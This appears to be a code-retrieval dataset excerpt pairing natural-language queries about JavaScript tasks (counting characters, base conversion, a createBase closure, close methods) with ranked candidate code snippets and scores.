"docid": "2c816335943b5656096e3e763ae50e2d", "score": "0.64369226", "text": "function naiveStringSearch(str, pat){\n\t// implement a counter\n\tlet counter = 0;\n\t// loop over the string\n\tfor(let i = 0; i < str.length - (pat.length - 1); i++){\n\t\t// if char we're looping is the same as our first char pattern\n\t\tif(str[i] === pat[0]){\n\t\t\t// start a counter\n\t\t\tlet patCount = 0;\n\t\t\t// loop over the pattern to see if char match\n\t\t\tfor(let j = 0; j < pat.length; j++){\n\t\t\t\t// if it match, increment the pattern counter\n\t\t\t\tif(pat[j] === str[i+j]) patCount++;\n\t\t\t}\n\t\t\t// check if the patCount is the same as the length of the pattern\n\t\t\tif(patCount === pat.length) counter++;\n\t\t}\n\t}\n\treturn counter;\n}", "title": "" }, { "docid": "340e12947fff314bc05a50780dfcb69a", "score": "0.6423612", "text": "function countCharOccurences(string , char) { return string.split(char).length - 1; }", "title": "" }, { "docid": "2cbd300d1f651cfd7faf21d636e57dfe", "score": "0.6418089", "text": "function check(){\r\n text = \"Hello World! Long Live Pakistan\"\r\n char = text.indexOf(\"Pakistan\")\r\n return char\r\n\r\n}", "title": "" }, { "docid": "95559d654f35b52dba26db4b79d5e0b6", "score": "0.63894105", "text": "function findIndex$2(x, a) {\n for (var i = 0, l = a.length; i < l; ++i) {\n if (x === a[i]) {\n return i;\n }\n }\n return -1;\n }", "title": "" }, { "docid": "f1492063ff056b99445f17bf6096ee07", "score": "0.6378643", "text": "function solution(S) {\n // write your code in JavaScript (ECMA-262, 5th edition)\n if(!S.length) return 1;\n \n var opened = 0;\n for(var i=0; i<S.length; i++){\n if(S.charAt(i) === '(')\n opened++;\n else\n opened--;\n \n if(opened < 0) return 0;\n }\n \n return opened !==0 ? 0 : 1;\n}", "title": "" }, { "docid": "85518b5dfdc267940ea4ffb26b059796", "score": "0.63754433", "text": "function countCharOccurences(string, char) {\n return string.split(char).length - 1;\n}", "title": "" }, { "docid": "192f61588998b8be11d5455e59bbb45a", "score": "0.6374667", "text": "function char_count(str, letter)\n{\nvar letter_Count = 0;\nfor (var position = 0; position < str.length; position++)\n{\n if (str.charAt(position) == letter)\n {\n letter_Count += 1;\n }\n }\n return letter_Count;\n}", "title": "" }, { "docid": "e3e0f4144f82f586c2fda3c9bd4a8cd5", "score": "0.6373008", "text": "function firstCharacter (a,ret) {\n ret(a[0]);\n}", "title": "" }, { "docid": "1bbc0e23fa87f9090ac7a4aa7feae9ec", "score": "0.634982", "text": "function subStringFinder(str, subStr){\r\n var idx = 0,\r\n i = 0,\r\n j = 0,\r\n len = str.length,\r\n subLen = subStr.length;\r\n\r\n for(; i<len; i++){\r\n\r\n if(str[i] == subStr[j])\r\n j++;\r\n else\r\n j = 0;\r\n\r\n if(j == 0)\r\n idx = i;\r\n else if (j == subLen)\r\n return idx;\r\n }\r\n\r\n return -1;\r\n}", "title": "" }, { "docid": "0c0ad0f1de59318434081c6d6f960d25", "score": "0.63382936", "text": "function char_count(str, letter) \r\n{\r\n var letter_Count = 0;\r\n for (var position = 0; position < str.length; position++) \r\n {\r\n if (str.charAt(position) == letter) \r\n {\r\n letter_Count += 1;\r\n }\r\n }\r\n return letter_Count;\r\n}", "title": "" }, { "docid": "fa47469bfb052a58d055c261dfc67525", "score": "0.63328457", "text": "function lastOcc(string, char) {\n for (var i = string.length; i >= 0; i--) {\n if (string[i] === char && i === 1) {\n return i + 'st'\n } else if (string[i] === char && i === 2) {\n return i + 'nd'\n } else if (string[i] === char && i === 3) {\n return i + 'rd'\n } else return i + 'th'\n } return -1\n}", "title": "" }, { "docid": "2f57590019d6d7d32cfd56bd06b36c7b", "score": "0.6332798", "text": "safeCharAt(str, i){\n do {\n let c = getWholeChar(str, i);\n if (c === false){\n i++;\n } else {\n return c;\n }\n } while(true);\n }", "title": "" }, { "docid": "c98f86a0a2d31782742087cfe856580e", "score": "0.63318884", "text": "function firstNotRepeatingCharacter(s) {\n let a=s.split(\"\")\n for(let i=0;i<a.length;i++){\n if(a.indexOf(a[i])===a.lastIndexOf(a[i])) return a[i]\n }\n return \"_\"\n}", "title": "" }, { "docid": "07dc5cd81b650c2a275e707e76ac57b6", "score": "0.6319566", "text": "function getOccurence (array, char) {\n count = 0\n for (i = 0; i < array.length; i++) {\n if (array[i] == char) {\n count += 1\n }\n }\n return count\n}", "title": "" }, { "docid": "66b7dfbf464fec80b90f5ba3a10c67ac", "score": "0.63141", "text": "function firstRecurringCharacter(input) {\n if (!input || !input.length) return undefined; \n let hash = new Map();\n\n for (let i = 0; i < input.length; i++) {\n if (!hash.has(input[i])) {\n hash.set(arr[i], 1);\n } else {\n return input[i];\n }\n }\n\n return undefined;\n}", "title": "" }, { "docid": "e668b42b64a8b548e6c489aa5ef3016e", "score": "0.63113457", "text": "function isFirstLetter(letter, string) {\n\n}", "title": "" }, { "docid": "7e63ebf1ac96bb479d4fd6725f9cbe8c", "score": "0.63100755", "text": "function firstNotRepeatingCharacter(string) {\n var arr = string.split(\"\");\n\n for(var i = 0; i < arr.length; i++) {\n if(arr.indexOf(arr[i]) == arr.lastIndexOf(arr[i])) {\n return arr[i];\n }\n }\n\n return \"_\";\n}", "title": "" }, { "docid": "4cf588c28158f529a99ee2a89ee1f787", "score": "0.63040674", "text": "function solve(str,idx){\n var left = 1\n var right =0\n var place = str.charAt(idx);\n if (place != '(') {\n return -1;\n };\n for (i=idx+1; i< str.length; i++){\n if (str.charAt(i)==='('){\n left++\n };\n if (str.charAt(i)===')'){\n right++\n };\n if (left===right){\n console.log('index of ' +i);\n return i;\n };\n };\n}", "title": "" }, { "docid": "1c221702b64a4a83d4eb86ffc07eeebf", "score": "0.62986", "text": "function firstToLast(str, c) {\n //coding here..\n let first = str.indexOf(c);\n let last = str.lastIndexOf(c);\n\n if (first === -1 && last === -1) {\n return -1;\n }\n return last - first;\n}", "title": "" }, { "docid": "b6836ae767c27200dede5af484c4d17f", "score": "0.6284385", "text": "function countChar(char, sentence) {\n var charCounter = 0;\n for(var i = 0; i < sentence.length; i++){\n if(sentence.charAt(i) == char) charCounter++;\n }\n return charCounter;\n}", "title": "" }, { "docid": "5153e77a4711a116a9d0011bfc7e7293", "score": "0.6279906", "text": "function nthCharacter(string, character, n) {\n var count = 0;\n var i = 0;\n // repeatedly call `String.prototype.indexOf` until the nth count has been reached\n while (count < n && (i = string.indexOf(character, i) + 1)) {\n ++count;\n }\n if (count === n) {\n return i - 1;\n };\n return 0;\n}", "title": "" }, { "docid": "3bb67f074ceb14aaa5c6db75f0d55c4f", "score": "0.6277083", "text": "function firstNotRepeatingCharacter(s) {\n let obj = {};\n \n for(let i = 0; i < s.length; i++){\n if(!obj.hasOwnProperty(s[i])){\n obj[s[i]] = 1;\n }\n else {\n obj[s[i]]++;\n }\n }\n \n for(object in obj){\n if(obj[object] === 1){\n return object;\n }\n }\n \n return '_';\n }", "title": "" } ]
f087cebc489cb496d74f245b1722966a
Write a function that would allow you to do this. var addSix = createBase(6); addSix(10); // returns 16 addSix(21); // returns 27
[ { "docid": "2295d85f2d5f3fda020964f20afec261", "score": "0.7106029", "text": "function createBase(baseNumber) {\n return function (n) {\n return n+baseNumber\n\n }\n\n}", "title": "" } ]
[ { "docid": "fcc57ac3095b663a7934a9425fe3a40a", "score": "0.7963907", "text": "function createBase(x) {\r\n return function addSix (y) {\r\n return (x+y) };\r\n}", "title": "" }, { "docid": "ad75533b4916de1b27b368bb6f29419a", "score": "0.74145204", "text": "function createBase(integer) {\n // TODO\n return (input) => {\n return integer + input\n } \n}", "title": "" }, { "docid": "38dca949b85998a6d6c26875e3341b1c", "score": "0.7089758", "text": "function addSix(z) {\n return 6 + z;\n}", "title": "" }, { "docid": "bfdc7fec168067a58c3f4d2582ff6b4f", "score": "0.70080024", "text": "plus(n, base) {\n return new Fixed8(super.plus(n, base));\n }", "title": "" }, { "docid": "ac452a094f2d2f37954df6c66a725ec2", "score": "0.66471535", "text": "function createBase(base) {\n return function(val) {\n return val + base;\n };\n}", "title": "" }, { "docid": "a82a1f94784b9a7987af8a7ffff3a0fe", "score": "0.6179865", "text": "function makePlusFunction(baseNum) {\n return function(num){\n return num + baseNum;\n };\n}", "title": "" }, { "docid": "3e33188b6fdfbe08571bd0127410da21", "score": "0.6175478", "text": "function f(a, base) {\n a[base] = 1;\n a[base + 4] = 2;\n a[base] = 3;\n}", "title": "" }, { "docid": "b6b95fb2b8b683718b956942a714051d", "score": "0.6172177", "text": "function createBase(base) {\n // Replace this comment and the next line with your code\n // console.log(base);\n return function(x) {\n return base + x;\n };\n}", "title": "" }, { "docid": "68b6bae3bea8e9e3d1cb7da7df287ed2", "score": "0.6146861", "text": "function base(b){\n\n return function(num){\n\n var res=1;\n for (var i=0;i<b;i++){\n res*=num;\n }\n return res;\n }\n\n}", "title": "" }, { "docid": "b3c5d82c115138cfcd5aee9b2d06b0ce", "score": "0.6123773", "text": "function addFour(num) {\n\n return num + 4;\n\n }", "title": "" }, { "docid": "82767d47b2bdbf6d4790abbfb7575251", "score": "0.61102146", "text": "function createAdder(baseNumber){\n\treturn function (numberToAdd){\n\t\tvar result = baseNumber + numberToAdd;\n\t\treturn result;\n\t\t\t}\n}", "title": "" }, { "docid": "0a874ef4255c4c3752bac88aabe66ce3", "score": "0.6034234", "text": "function base(b){\n return function(n){\n var res =1;\n for(var i=0;i<b;i++)\n {\n res *=n;\n }\n return res;\n }\n \n}", "title": "" }, { "docid": "1a2f0d3ccbad73fdddea2ac919ae5ff0", "score": "0.6028023", "text": "function base(b){\r\n return function (n){\r\n var result = 1;\r\n\r\n for(var i = 0; i < b; i++){\r\n result *= n;\r\n }\r\n return result;\r\n }\r\n}", "title": "" }, { "docid": "9e678af39244cbcf553422e05be6fdec", "score": "0.60077065", "text": "function Base (number, base) {\n var theStack = new Stack ();\n\n do {\n theStack.push (number % base);\n number = Math.floor ((number /= base));\n } while (number > 0);\n\n var convert = '';\n while (theStack.length () > 0) {\n convert += theStack.pop ();\n }\n return convert;\n}", "title": "" }, { "docid": "5aa5072bbbfb54df9cc163979955e884", "score": "0.6000798", "text": "function addIntBase(a, b, base){\n var res = [];\n var ai = a.length-1;\n var bi = b.length-1;\n var carry = 0;\n var sum;\n while (ai >= 0 || bi >= 0){\n sum = carry;\n if (ai >= 0){\n sum += a[ai];\n ai--;\n }\n if (bi >= 0){\n sum += b[bi];\n bi--;\n }\n if (sum >= base){\n sum -= base;\n carry = 1;\n } else {\n carry = 0;\n }\n res.push(sum);\n }\n if (carry !== 0)res.push(carry);\n return res.reverse();\n }", "title": "" }, { "docid": "3ea68c49ebcd5f2ffd0d533b38a17555", "score": "0.5980121", "text": "function base(b){\n return function(n){\n var result = 1;\n for(var i = 0; i < b; i++){\n result *= n;\n }\n return result;\n }\n}", "title": "" }, { "docid": "c7a0a221b8c135b7dc4159fdeda3ec17", "score": "0.5938542", "text": "function addBinary(a, b) {\n \n\n\n return (a + b).toString(2);\n \n\n\n}", "title": "" }, { "docid": "7a125a73ba7fa12aee4b771756465c2c", "score": "0.5937207", "text": "function addTo50(number){\n return number + 50\n}", "title": "" }, { "docid": "6d6031ef94bb4c666be7b761d281cb37", "score": "0.5916738", "text": "function NumberToDiffBase (num, base) {\n let ans = \"0x\";\n let newnum = 0;\n let key = \"\";\n let count = 0;\n //divide down to get the leftmost letter\n while(num>=base) {\n num/=base;\n //track the number of divisions to be used later\n count+=1;\n }\n \n for(let i = 0; i <=count; i++) {\n //floor the remainder to get the proper int between 0 and base\n newnum = Math.floor(num);\n //Helper function -- map number to correct hexadecimal\n key = NumtoBaseLetters(newnum);\n //concatenate the number or string onto the current string\n ans = ans + key;\n //take the remainder and mulitply be 16\n num-=newnum;\n num*=base;\n }\n return ans;\n }", "title": "" }, { "docid": "eec15b8c94453c26efa55ce7cdcaf82f", "score": "0.59150386", "text": "function addFive(num) {\n return num + 5;\n}", "title": "" }, { "docid": "e9508022a86f14148cd4fe2bb0847329", "score": "0.5905859", "text": "function convertBase(num, base) {\n var stack1 = new Stack();\n do {\n stack1.push(num % base);\n num = Math.floor(num / base);\n } while (num > 0);\n var convertedStr = \"\";\n while (stack1.length() > 0) {\n convertedStr += stack1.pop();\n }\n return convertedStr;\n}", "title": "" }, { "docid": "1ccda7b3280e18d515c674ee9d71e5e3", "score": "0.5903269", "text": "function base (b) {\n return function (n) {\n var result = 1\n for (i = 0; i < b; i++) {\n result *= n\n }\n return result\n }\n}", "title": "" }, { "docid": "3761a75b6b951fb1d44373a022ab71c0", "score": "0.588024", "text": "times(n, base) {\n return new Fixed8(super.times(n, base));\n }", "title": "" }, { "docid": "0547905c860cac32e961e9c0b07446b0", "score": "0.58718026", "text": "function add(){\r\n console.log(47 + 89);\r\n}", "title": "" }, { "docid": "b2b9e1f872dcac1e9629b2da0733cd41", "score": "0.58544195", "text": "function addOne(n) {\r\n return n + 1;\r\n}", "title": "" }, { "docid": "9aad7331a961529b083bc4c22d269b9d", "score": "0.58539206", "text": "function change_base(num, from, to, length)\n{\n\tnum = parseInt(num, from);\n\tvar new_num = num.toString(to);\n\twhile (new_num.length < length)\n\t{\n\t\tnew_num = \"0\" + new_num;\n\t}\n\n\treturn new_num;\n}", "title": "" }, { "docid": "36ef750d9b219f25e2f0472543c21f71", "score": "0.5849633", "text": "function doubleBasePalins(x){\n var sum = 0;\n for(var i = 1; i < x; i++){\n if(chkPalin(i)){\n if(convertToBaseTwo(i)) sum += i;\n }\n }\n return sum;\n}", "title": "" }, { "docid": "714161e1ae724f446a4e6f2e663d6408", "score": "0.58441645", "text": "function returnToBase() {\r\n\r\n}", "title": "" }, { "docid": "b775be88afa0b8e9324db0644056fb11", "score": "0.58418113", "text": "function base(b) {\n return function (n) {\n var result = 1;\n for (var i = 0; i < b; i++) {\n result *= n;\n }\n return result;\n };\n}", "title": "" }, { "docid": "fea2ed917c8fb51aa2f175e9e5eef817", "score": "0.58304656", "text": "function add (){\r\n return 90+90\r\n}", "title": "" }, { "docid": "7ccfc4be290356d5a2af2780e5875ede", "score": "0.58297336", "text": "function addBinary(a,b) {\n return (a + b).toString(2);\n}", "title": "" }, { "docid": "d6877feac0a5ed4f2f34e4b1558951ce", "score": "0.5829135", "text": "function addNum(x, y) {\n return x + y;\n}", "title": "" }, { "docid": "f164140178c307c315917d1172aad6dc", "score": "0.5827374", "text": "function plusTwo(n) { return n + 2 }", "title": "" }, { "docid": "c60d9d685dc67dc8f1670d5b185b4b9f", "score": "0.58000195", "text": "function addNumber(a,b) {\n return a+b;\n \n}", "title": "" }, { "docid": "7f619d7bceafee4033431d9f31783efd", "score": "0.57973987", "text": "addToNumber(startingNumber, numberToAdd) {\n return startingNumber + numberToAdd;\n }", "title": "" }, { "docid": "856c59b8e6b694841b7f4b44d5d3c77a", "score": "0.5783552", "text": "function perimetroTriangulo(lado1, lado2, base) {\n return lado1 + lado2 + base;\n\n}", "title": "" }, { "docid": "0b68b6eabc546c27be06d942e2b70bcf", "score": "0.5779829", "text": "function addBinary(a, b) {\n return (a + b).toString(2);\n}", "title": "" }, { "docid": "38b2ffa44de49028d92ebdfee01412de", "score": "0.5770905", "text": "function convertBase(number, initialBase, changeBase) {\n if (!initialBase || changeBase < 2 || changeBase > 36) {\n return 'Base between 2 and 36';\n }\n\n var num = parseInt(number + '', initialBase);\n return num.toString(changeBase);\n}", "title": "" }, { "docid": "d68d0551f29b31a714877e8c9f24c437", "score": "0.5765578", "text": "function base(x) {\n return function (y) {\n var result = 1;\n\n for (var i = 0; i < x; i++) {\n result *= y;\n }\n\n return result;\n }\n}", "title": "" }, { "docid": "04ab0b9e1f5f907c5aad4cbcc531573f", "score": "0.5761825", "text": "function addSomeNumber(num){\n\treturn num + 100;\n}", "title": "" }, { "docid": "ff04f64ac543a775c948b49ac0fb37f4", "score": "0.5749436", "text": "function addBinary(a,b) {\n var sum = a + b;\n var exponent = (String(sum).length * 10);\n var binaryString = \"\";\n \n for (let i = exponent; i >= 0; i--) {\n let twoPowered = (Math.pow(2, i));\n \n if (sum >= twoPowered) {\n binaryString += \"1\";\n sum -= twoPowered;\n } else {\n if (binaryString.length > 0) { binaryString += \"0\"; }\n }\n }\n return binaryString;\n}", "title": "" }, { "docid": "8f3bb4413677d090f07fd8f9f95cc7b9", "score": "0.5735682", "text": "function add(x,x){\n return x+x;\n}", "title": "" }, { "docid": "5516b9a4390265368587515672302ae6", "score": "0.5727882", "text": "function add(a,b) {return a + b;}", "title": "" }, { "docid": "2687ed416de0448363d9b93fc4436346", "score": "0.57261246", "text": "function addBinary(a, b) {\n let sum = a + b;\n return sum.toString(2);\n}", "title": "" }, { "docid": "4507e8b5d74a9af22b5599cc8821af24", "score": "0.5720834", "text": "function baseConversion(num, base) {\n const stack = new Stack();\n \n do {\n stack.push(num % base);\n num = Math.floor(num /= base);\n } while (num > 0);\n \n let converted = '';\n while(stack.length() > 0) {\n converted += stack.pop();\n }\n \n return converted;\n}", "title": "" }, { "docid": "6a8a6198b2b5868c2e9530e37ed28392", "score": "0.571105", "text": "function add (a,b){ return a + b }", "title": "" }, { "docid": "163d14b91cd85cb9b341bbd4334eeb6f", "score": "0.5699204", "text": "function addNumber(a,b) {\n\treturn a+b;\n}", "title": "" }, { "docid": "3b9e26ab26c66235a1fbd1b8217e1062", "score": "0.5695734", "text": "function addOne(x) {\n return x+1\n}", "title": "" }, { "docid": "30506187abafdaff707c29e129aad598", "score": "0.5693958", "text": "function addFive(x, addreference){\r\n return addreference(x,5); \r\n}", "title": "" }, { "docid": "bb214f455b7806a3cd1a3f7a5495577a", "score": "0.5684355", "text": "function add(x,y){return x+y;}", "title": "" }, { "docid": "080f363a789ac2e01b29ec1e351502b8", "score": "0.567967", "text": "function addNumber(x, y) {\n return x + y;\n}", "title": "" }, { "docid": "5f1892ff4ad8482469e6f0cbd792339c", "score": "0.5678094", "text": "function add(a,b){\r\n return a+b\r\n\r\n}", "title": "" }, { "docid": "6c8f9200008c052dc29278f230bb9762", "score": "0.5675082", "text": "function add(x, y, base) {\n let z = [];\n let n = Math.max(x.length, y.length);\n let carry = 0;\n let i = 0;\n while (i < n || carry) {\n let xi = i < x.length ? x[i] : 0;\n let yi = i < y.length ? y[i] : 0;\n let zi = carry + xi + yi;\n z.push(zi % base);\n carry = Math.floor(zi / base);\n i++;\n }\n\n return z;\n}", "title": "" }, { "docid": "1a1c44558ce4ed5b3ed67cabbae96a32", "score": "0.5670713", "text": "function add(first_num, second_num) {\n return first_num + second_num;\n}", "title": "" }, { "docid": "071b20a1d55a1b44c8206a48ff5fce3b", "score": "0.56673634", "text": "function add4(num1, num2) {\r\n if (num2 === void 0) { num2 = \"10\"; }\r\n return num1 + num2;\r\n}", "title": "" }, { "docid": "bb0a6cfc13800b38fca9c8dc6347310a", "score": "0.5664852", "text": "function perimetroTriangulo(lado1, lado2, base) {\n return (Number(lado1) + Number(lado2) + Number(base));\n}", "title": "" }, { "docid": "891efab8701b6314601dd2a8ab9f4e18", "score": "0.56638813", "text": "function add(a,b) {\r\n return a +b;\r\n}", "title": "" }, { "docid": "647fec6014f34118ea16a59a317805c9", "score": "0.5662177", "text": "function add(n1, n2){\nreturn n1 +n2;\n}", "title": "" }, { "docid": "cd4a573066fdd7fc0386c250d4e77d40", "score": "0.56517273", "text": "function add(x, y, base) {\n var z = [];\n var n = Math.max(x.length, y.length);\n var carry = 0;\n var i = 0;\n while (i < n || carry) {\n var xi = i < x.length ? x[i] : 0;\n var yi = i < y.length ? y[i] : 0;\n var zi = carry + xi + yi;\n z.push(zi % base);\n carry = Math.floor(zi / base);\n i++;\n }\n return z;\n}", "title": "" }, { "docid": "3af039f0bf4e747c20c1afda71f1c777", "score": "0.5646315", "text": "function perimetroTriangulo(lado1, lado2, base) {\n return lado1 + lado2 + base;\n}", "title": "" }, { "docid": "61a68208a5ebf2c277b47695b1cc56d5", "score": "0.5645062", "text": "function addNum(num1,num2){\n return num1+num2;\n}", "title": "" }, { "docid": "96184e1246ce9d4de96b30c0a842d11d", "score": "0.5640666", "text": "function add(a, b){\n return a + b\n\n}", "title": "" }, { "docid": "409eeac1fccb3edbb0af22a1303de19e", "score": "0.56404924", "text": "function add(a,b){\r\n\treturn a + b;\r\n}", "title": "" }, { "docid": "b21fcc0e288652f7dd8cfa944cf30b4d", "score": "0.5636084", "text": "function add(n1, n2){\n return n1 +n2;\n}", "title": "" }, { "docid": "b21fcc0e288652f7dd8cfa944cf30b4d", "score": "0.5636084", "text": "function add(n1, n2){\n return n1 +n2;\n}", "title": "" }, { "docid": "b21fcc0e288652f7dd8cfa944cf30b4d", "score": "0.5636084", "text": "function add(n1, n2){\n return n1 +n2;\n}", "title": "" }, { "docid": "b21fcc0e288652f7dd8cfa944cf30b4d", "score": "0.5636084", "text": "function add(n1, n2){\n return n1 +n2;\n}", "title": "" }, { "docid": "a5338152b6acb7030c930d4b000171d5", "score": "0.563482", "text": "function addNumber(a, b) {\n return a + b;\n}", "title": "" }, { "docid": "a5338152b6acb7030c930d4b000171d5", "score": "0.563482", "text": "function addNumber(a, b) {\n return a + b;\n}", "title": "" }, { "docid": "79af303bbc47e381d9663931e99d69ce", "score": "0.56341106", "text": "function SimpleAdding(num) { \n\n // code goes here \n num = (num * (num + 1))/2;\n return num; \n \n }", "title": "" }, { "docid": "c2dc2ad7852fb195322f131df9a79b1e", "score": "0.5629221", "text": "function plusX() {\n\n return 10\n}", "title": "" }, { "docid": "58c5781a367637942b85638e010d34f6", "score": "0.5626098", "text": "function add(a,b) { \n return a + b\n}", "title": "" }, { "docid": "981b5a5fa23bc48313ba810cba1bcb38", "score": "0.5625929", "text": "function addBy2(n) {\n\treturn n + 2;\n}", "title": "" }, { "docid": "152c883668fc1bdcd2246f33058be1f5", "score": "0.56220114", "text": "function addBinary(a,b) {\n if (a > 0 && (b > 0)) {\n return '11'\n } else if ( a === 0 && b > 0 ) {\n return '01'\n } else if ( a > 0 && b === 0 ) {\n return '10'\n }\n}", "title": "" }, { "docid": "b4d009f7cb6d13e3252f2abf2830ad12", "score": "0.5612819", "text": "function add(x, y, base) {\n var z = [];\n var n = Math.max(x.length, y.length);\n var carry = 0;\n var i = 0;\n while (i < n || carry) {\n var xi = i < x.length ? x[i] : 0;\n var yi = i < y.length ? y[i] : 0;\n var zi = carry + xi + yi;\n z.push(zi % base);\n carry = Math.floor(zi / base);\n i++;\n }\n return z;\n}", "title": "" }, { "docid": "838d50ff9e608699767777cf90f8eab5", "score": "0.56127673", "text": "function add(n1, n2){\n return n1 + n2;\n}", "title": "" }, { "docid": "b8104ea9dfc138c35f953aa2b725adc2", "score": "0.5612354", "text": "function add(a,b){\n\treturn a+b\n}", "title": "" }, { "docid": "10f357c777cabdf045c5fd9436f056e4", "score": "0.56118226", "text": "function add(a,b){\n return a+b\n}", "title": "" }, { "docid": "075a216233ba661c30a6c2fac1be8061", "score": "0.5611692", "text": "function addTwo(num) {\r\n\treturn num + 2;\r\n}", "title": "" }, { "docid": "2b6c81ace918d845c3213b7246ed517f", "score": "0.5605433", "text": "function perimetroTriangulo(lado1,lado2,base){\n return lado1+lado2+base;\n}", "title": "" }, { "docid": "101e8c09080e0b19cfb72790186c192d", "score": "0.560391", "text": "function addOne( number ) {\n return number + 1;\n}", "title": "" }, { "docid": "c78f041ae3a2ea556be4e6512d6ad076", "score": "0.56020606", "text": "function addOne(x) {\n return x + 1;\n}", "title": "" }, { "docid": "588160e5ae7e7a6ffd5eb02fb884af84", "score": "0.5601149", "text": "function basicAdd() {\n return 2 + 2;\n}", "title": "" }, { "docid": "2d442f7078f26f331b43e9fa4b59fb19", "score": "0.5598794", "text": "function perimetroTriangulo (lado1, lado2, base) {\n return lado1 + lado2 + base;\n}", "title": "" }, { "docid": "a32f263ba6e1028ecfa17d06496ede71", "score": "0.55936825", "text": "function add(a,b){\nreturn a+b;\n}", "title": "" }, { "docid": "a32f263ba6e1028ecfa17d06496ede71", "score": "0.55936825", "text": "function add(a,b){\nreturn a+b;\n}", "title": "" }, { "docid": "3596002c0a582e7ef9d2b2f3db39846b", "score": "0.55917627", "text": "function baseConvert(num, from_base, to_base){\n\tvar tmp_num = toDecimal(num, from_base);\n\tvar string = \"\";\n\tcheckBase(to_base);\n\twhile(tmp_num > 0){\n\t\tstring = stringify(tmp_num % to_base) + string;\n\t\ttmp_num = Math.floor(tmp_num/to_base);\n\t}\n\treturn string;\n}", "title": "" }, { "docid": "22db9bd076a0a4f9d890a81f5d403632", "score": "0.559071", "text": "function addThree(num){\n return num + 3\n}", "title": "" }, { "docid": "f68d7e2765f8475adb584be08883be75", "score": "0.5586352", "text": "dividedBy(n, base) {\n return new Fixed8(super.dividedBy(n, base));\n }", "title": "" }, { "docid": "8574763cada2be6845beb12784332608", "score": "0.55830705", "text": "function addByX(num) {\n\n function add(yas) {\n return yas + num;\n }\n return add;\n}", "title": "" }, { "docid": "731f78aeb8ba3111bdf71a89625bb682", "score": "0.55826783", "text": "function add(a,b) {\n return a+b;\n}", "title": "" }, { "docid": "731f78aeb8ba3111bdf71a89625bb682", "score": "0.55826783", "text": "function add(a,b) {\n return a+b;\n}", "title": "" }, { "docid": "0ad107dda6d021cab99a574bd73ea60b", "score": "0.5578854", "text": "function add(number1, number2) {\n return number1 + number2;\n}", "title": "" }, { "docid": "9967725e29511b120333269e307d378a", "score": "0.5578389", "text": "function addition(num) {\r\n\tnum = num + 1\r\n return num;\r\n}", "title": "" }, { "docid": "702d445a17cd66c287e254f50152b687", "score": "0.5577551", "text": "function add (a,b){\n return a+b\n}", "title": "" }, { "docid": "e3b9822bc7a7f94f2102d293428369d7", "score": "0.55743986", "text": "function baseConverter(input, from_base, to_base) {\r\n let output = \"\";\r\n if (input !== undefined) {\r\n if (to_base >= 2 && to_base <= 36) {\r\n output = parseInt(input, from_base).toString(to_base);\r\n }\r\n }\r\n return output;\r\n}", "title": "" }, { "docid": "5d8e977bdc9225863cfbacec2336e13a", "score": "0.5573526", "text": "function brickCalculator(base){\n var bricks=0;\n if(base<=10){\n bricks=base*15*1000;\n }\n else if(base>10&&base<=20){\n bricks= (10*15*1000) + ((base-10)*12*1000);\n }\n else{\n bricks=(10*15*1000) + ((20-10)*12*1000) + ((base-20)*10*1000);\n }\n return bricks;\n}", "title": "" }, { "docid": "a6e9e13ab36ebb0606e349a86b155b1c", "score": "0.5573054", "text": "function add(a, b) {\r\n return a + b;\r\n}", "title": "" }, { "docid": "a65d3c5ae84211f1566d3facaf0f445a", "score": "0.556999", "text": "function add2(num5, num6){\n num6 = num6 || 0;\n return num5 + num6;\n}", "title": "" }, { "docid": "1c58e1b95b91a73853c587c8520c7da2", "score": "0.55693185", "text": "function add(num1, num2){\n return num1+num2;\n }", "title": "" } ]
7552b25c70581d2c0a53ae10fdca57e1
close the s should be reset yet.
[ { "docid": "6e6fe3ad4913beba5b3e009b52ce2781", "score": "0.0", "text": "function onclose(self){\n \n var _internal = self._internal_data_;\n \n //close msg\n var close_msg = {};\n close_msg[CONST.DEFAULT_MSGID] = CONST_MSG.CLOSE;\n _internal.handler.handle(close_msg, self);\n}", "title": "" } ]
[ { "docid": "1d0c49e9e1a479ce44af3216f56833a2", "score": "0.7358258", "text": "function close() {\n this.forced = this.state;\n this.state = STATE.CLOSED;\n }", "title": "" }, { "docid": "21198f125224925a9638573bdd0ae72e", "score": "0.73355216", "text": "close() {\n this._close();\n }", "title": "" }, { "docid": "3677927abc4e2b3d91a837ad74c76a85", "score": "0.7088381", "text": "close() {\n this.closed = true;\n\n // If needed, add a connecting \"closing\" segment\n this.addClosingSegment();\n }", "title": "" }, { "docid": "385559118903b27da63b892462f718b0", "score": "0.69554245", "text": "@api\n close() {\n this.isOpen = false;\n }", "title": "" }, { "docid": "3bc3db7112b1340046f412c02fc20347", "score": "0.6869269", "text": "closing() { }", "title": "" }, { "docid": "8c7027ddfe7ff0b824794575e8e3f12b", "score": "0.68607926", "text": "async close() {\n const wasClosed = __classPrivateFieldGet(this, _closed);\n __classPrivateFieldSet(this, _closed, true);\n await __classPrivateFieldGet(this, _cleanup).call(this);\n // only emit `close` once\n if (!wasClosed) {\n this.emit(\"close\");\n return;\n }\n }", "title": "" }, { "docid": "54ea3ff2b764ecec4c7d9c6a68ab8b8b", "score": "0.6816807", "text": "_close() { }", "title": "" }, { "docid": "0c1f1fc01761b72e57e5545c6709d7ee", "score": "0.6792091", "text": "close() {\n setDutyCycle(config.closeDutyCycle);\n }", "title": "" }, { "docid": "87a773a3a6d0c56660c551b9f0a62b44", "score": "0.6763875", "text": "close() {\n if (!this.isOpen) {\n return;\n }\n this.onClose.emit(this);\n this.isOpen = false;\n this.changeDetection.markForCheck();\n this.onClosed.emit(this);\n }", "title": "" }, { "docid": "7a6328c7d0ac8b08c6ab2a9617062bfa", "score": "0.6752428", "text": "close() {\n this.opened = false;\n }", "title": "" }, { "docid": "d98e5b05a4471d6fc931988526bb5408", "score": "0.6744115", "text": "close() {}", "title": "" }, { "docid": "d98e5b05a4471d6fc931988526bb5408", "score": "0.6744115", "text": "close() {}", "title": "" }, { "docid": "d98e5b05a4471d6fc931988526bb5408", "score": "0.6744115", "text": "close() {}", "title": "" }, { "docid": "d98e5b05a4471d6fc931988526bb5408", "score": "0.6744115", "text": "close() {}", "title": "" }, { "docid": "d98e5b05a4471d6fc931988526bb5408", "score": "0.6744115", "text": "close() {}", "title": "" }, { "docid": "d98e5b05a4471d6fc931988526bb5408", "score": "0.6744115", "text": "close() {}", "title": "" }, { "docid": "d98e5b05a4471d6fc931988526bb5408", "score": "0.6744115", "text": "close() {}", "title": "" }, { "docid": "d98e5b05a4471d6fc931988526bb5408", "score": "0.6744115", "text": "close() {}", "title": "" }, { "docid": "8cd749cd362e0268311339b2957a3214", "score": "0.6739531", "text": "function close() {\n}", 